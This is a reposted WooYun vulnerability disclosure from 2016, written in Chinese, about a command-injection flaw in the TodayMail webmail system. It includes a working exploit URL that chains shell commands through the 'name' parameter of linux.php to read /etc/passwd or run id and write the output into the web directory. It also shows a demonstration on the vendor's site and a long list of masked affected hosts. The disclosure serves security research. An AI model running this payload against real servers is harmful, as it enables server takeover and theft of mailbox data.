TodayMail邮件系统存在命令执行至少上万邮箱可被控制(官网演示)

admin 2017年3月26日20:43:29评论449 views字数 241阅读0分48秒阅读模式
摘要

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-05-15: 细节向核心白帽子及相关领域专家公开
2016-05-25: 细节向普通白帽子公开
2016-06-04: 细节向实习白帽子公开
2016-06-19: 细节向公众公开

漏洞概要 关注数(25) 关注此漏洞

缺陷编号: WooYun-2016-187337

漏洞标题: TodayMail邮件系统存在命令执行至少上万邮箱可被控制(官网演示) TodayMail邮件系统存在命令执行至少上万邮箱可被控制(官网演示)

相关厂商: 广东时代互联科技有限公司

漏洞作者: 路人甲

提交时间: 2016-03-21 16:59

公开时间: 2016-06-19 17:40

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码审核 敏感文件操作参数未加过滤

2人收藏


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-15: 细节向核心白帽子及相关领域专家公开
2016-05-25: 细节向普通白帽子公开
2016-06-04: 细节向实习白帽子公开
2016-06-19: 细节向公众公开

简要描述:

可轻松导致上万企业邮箱被控制,一条命令即可批量shell,影响非常大,请移交cert.

详细说明:

对于使用量就不多说了,如下链接

code 区域
/mailcontrol/linux.php?name=x||cat%20/etc/passwd>../webmail/data/wo.txt||x

可直接执行任意命令,获取服务器权限

官网demo测试:

0x1 http://**.**.**.**/webmail/login.php

访问

code 区域
http://**.**.**.**/mailcontrol/linux.php?name=x||id>../webmail/data/wo.txt||x

即可在data目录下生成wo.txt

code 区域
http://**.**.**.**/webmail/data/wo.txt

TodayMail邮件系统存在命令执行至少上万邮箱可被控制(官网演示)

0x2 http://**.**.**.**/webmail/login.php

code 区域
http://**.**.**.**/webmail/data/wo.txt

TodayMail邮件系统存在命令执行至少上万邮箱可被控制(官网演示)

案例那是非常多啊,随便给出100+案例:

code 区域
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php
http://**.**.**.**.mo/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
**.**.**.**:88/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**.mo/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**.mo/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php
http://**.**.**.**/webmail/login.php

漏洞证明:

对于使用量就不多说了,如下链接

code 区域
/mailcontrol/linux.php?name=x||cat%20/etc/passwd>../webmail/data/wo.txt||x

可直接执行任意命令,获取服务器权限

官网demo测试:

0x1 http://**.**.**.**/webmail/login.php

访问

code 区域
http://**.**.**.**/mailcontrol/linux.php?name=x||id>../webmail/data/wo.txt||x

即可在data目录下生成wo.txt

code 区域
http://**.**.**.**/webmail/data/wo.txt

TodayMail邮件系统存在命令执行至少上万邮箱可被控制(官网演示)

0x2 http://**.**.**.**/webmail/login.php

code 区域
http://**.**.**.**/webmail/data/wo.txt

TodayMail邮件系统存在命令执行至少上万邮箱可被控制(官网演示)

修复方案:

过滤吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-21 17:39

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-25 11:22 | 子默不语 ( 路人 | Rank:20 漏洞数:4 | 习惯夜的黑 享受寂寞)

    1

    5RANK

  2. 2016-06-19 18:22 | Dusk ( 实习白帽子 | Rank:35 漏洞数:20 )

    0

    5看呆了

  3. 2016-06-19 18:33 | Mr_Java ( 普通白帽子 | Rank:170 漏洞数:43 | 高三党,当,档,裆!)

    0

    只针对 Linux的?

  4. 2016-06-19 18:55 | 水泥中的鱼 ( 路人 | Rank:30 漏洞数:4 | 我就是我,尘世中一迷途小书童。)

    0

    5看呆了

  5. 2016-06-19 19:16 | Cicada3301绿帽子li ( 路人 | Rank:2 漏洞数:1 | 很酷。偶尔提交几个漏洞。就这样。QQ371920...)

    0

    5555555555

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin